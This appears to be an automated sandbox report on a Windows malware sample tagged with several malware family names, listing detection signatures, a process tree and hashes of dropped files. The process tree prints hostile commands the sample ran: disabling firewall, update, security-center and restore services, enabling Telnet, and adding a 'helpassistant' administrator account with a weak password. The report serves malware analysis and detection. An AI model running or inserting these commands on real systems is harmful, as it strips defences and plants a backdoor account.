Overview

overview

9

Static

static

3

2026-05-11...ar.exe

windows10-2004-x64

9

2026-05-11...ar.exe

windows11-21h2-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    11/05/2026, 03:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-05-11_76a1bb0b1d4668975d900edfcc832749_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
  • Size 3.1MB
  • Sample260511-ebkjvsay7v
  • SHA256 555c4464c1cb63c7c0aed99b7c5390ae6198f98aaa10ea1d7da25bfe65fc33b3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecution

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 2 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Drops file in System32 directory 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Runs net.exe
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-11_76a1bb0b1d4668975d900edfcc832749_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-11_76a1bb0b1d4668975d900edfcc832749_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2456
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4716
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5808
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3676
    • C:\Users\Admin\AppData\Local\Temp\2026-05-11_76a1bb0b1d4668975d900edfcc832749_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
      2026-05-11_76a1bb0b1d4668975d900edfcc832749_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
      2⤵
      • Executes dropped EXE
      PID:2668
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4940
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5220
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3592
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4392
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5900
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2128
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1112
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5728
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:764
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:844
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3844
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5324
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1408
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4880
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2184
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3520
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5392
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5116
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2876
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5484
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3216
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3220
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3508

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        7z.exe
        • Path C:\Program Files\7-Zip\7z.exe
        • Size 1.1MB
        • SHA256 3dad5df5c63f20dcd2c01e34f43a1d9fa5624b69a043e34ee95bc84b840a0f2a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7zFM.exe
        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 1.5MB
        • SHA256 56e85a0b05168f3e8e92e21680ee04c4e66f6e6d47db966d3bcd63d6ef5f36c4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7zG.exe
        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 1.3MB
        • SHA256 4c4f019a2f9212f93c8cf76d967b7fbabd384b5a0f8157cb49e31abb985db6a9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Uninstall.exe
        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 622KB
        • SHA256 6b6e7fd8554829813f9fd3d64de2ac839f7a261b582d73b9fc7b75d886964bc5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        AssertRequest.exe
        • Path C:\Program Files\AssertRequest.exe
        • Size 1.3MB
        • SHA256 5472ddded4ffddc09492747379c2aad83d1b5f45ba2dacd2ad219ae6aba40405
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrmstp.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 6.7MB
        • SHA256 c592d1db1ecc3536507889eeee70e735826cb406dd9ceacf9c6d37e6265bab7c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome_pwa_launcher.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 2.3MB
        • SHA256 9680c7feb98b23c62f5c92470e9962c935465b5fce2b7fd5f6a9fea9231f14d5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        elevated_tracing_service.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 4.1MB
        • SHA256 d5eef94b1fef0074d1666db7ed453c52980070c880adfea5f674f9705695d157
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        elevation_service.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        • Size 2.9MB
        • SHA256 9031d8f766536d550f4636da0cddad518695c0276b123e73a7e33d701b5cdd55
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        notification_helper.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
        • Size 2.2MB
        • SHA256 b541582e6f1dc2a0a07a1ceb7aa1ee2f786902dfee6e06438f1146f93d2f182b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        os_update_handler.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 2.4MB
        • SHA256 c02d0b87a65229a788f4228a6a049cd42aa3573c9884f102344227291f4751b2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome.exe
        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 3.7MB
        • SHA256 5227fa4e4767639437364f7587be0aad92bad755ca88d80218b93df476803b7c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome_proxy.exe
        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 2.0MB
        • SHA256 7ba77fa3f1a773743d281f7cccb8be55907d3c2f12fbc8ca610442d3204cb589
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        appletviewer.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 631KB
        • SHA256 360b5f323ac209b78b71c61e3ae5cd43659fbd14204cbc82f85697daaddedd35
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        extcheck.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
        • Size 631KB
        • SHA256 ee227237e6c5d370f6ba44085be0fd7c3e0bc71c69ae4fbf10d89857b8af2d61
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        idlj.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 631KB
        • SHA256 4fb577d5449c6ed42129b5e77872cec71011a535f86d8c6144c04f599deceaf9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        jabswitch.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 652KB
        • SHA256 96e3d70537092604a2bc0da73366a0ce1233a20845dd9588f4dbb7f3fc7b6a13
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dotnet.exe
        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 752KB
        • SHA256 f6934c63eec1579e6d4c58ff59cb463946b203fa3c84aacbbb890d17ed9bde8b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 664KB
        • SHA256 41cc398db0bc5c4544ba529846579f782850be0d223f926b90df1600d23e80e9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 672KB
        • SHA256 ec956bd5fcdd249b74a3404f9a904f69d797ea07d80014bdc2bc18b66067dd42
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 668KB
        • SHA256 70cb26089073ccea7f1b8089cedcf60d6ca494b1682429e3256b4402fb87af31
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        2026-05-11_76a1bb0b1d4668975d900edfcc832749_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
        • Path C:\Users\Admin\AppData\Local\Temp\2026-05-11_76a1bb0b1d4668975d900edfcc832749_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
        • Size 2.5MB
        • SHA256 5f007e11792dad234c3a50e1ae7db1324ba346490e5c32f71db2e2b3132c94ac
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Option.bat
        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        UpdatAuto.exe
        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 608KB
        • SHA256 e5a771a3269a2e1cc5ce357ae38bb01ede9d2ed92e8b2289f1739e5e11554048
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 608KB
        • SHA256 54bacaa6b9a951091842022d5465b02237ae3fdc62f6431e504bbf4edc75c2b8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 608KB
        • SHA256 4dbe57579e089558f84b95d7d3cc85127bf4f94fbaf7e32036abd5d52b02928b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 608KB
        • SHA256 35ffcb8c84e1706dde958e17b2dd09000e202784c5f362e7bab3d73954ce0cd4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 608KB
        • SHA256 f2dd227938e70af813720d8e508a7741d390d9191a182bcc47970e1d60323cf5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 608KB
        • SHA256 6de8fb7f04f90ac31db95b3f8bcc4fac6398f9328b8ac2a4c71adc35cb6e5fdc
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 608KB
        • SHA256 72cc012dae5b53c5aab6e2345762abecd843c2fd008e66d34ab836507248cec9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 608KB
        • SHA256 af0588650432643b16162df84a7860c5046469aaaf139e197e127750f3de69f6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download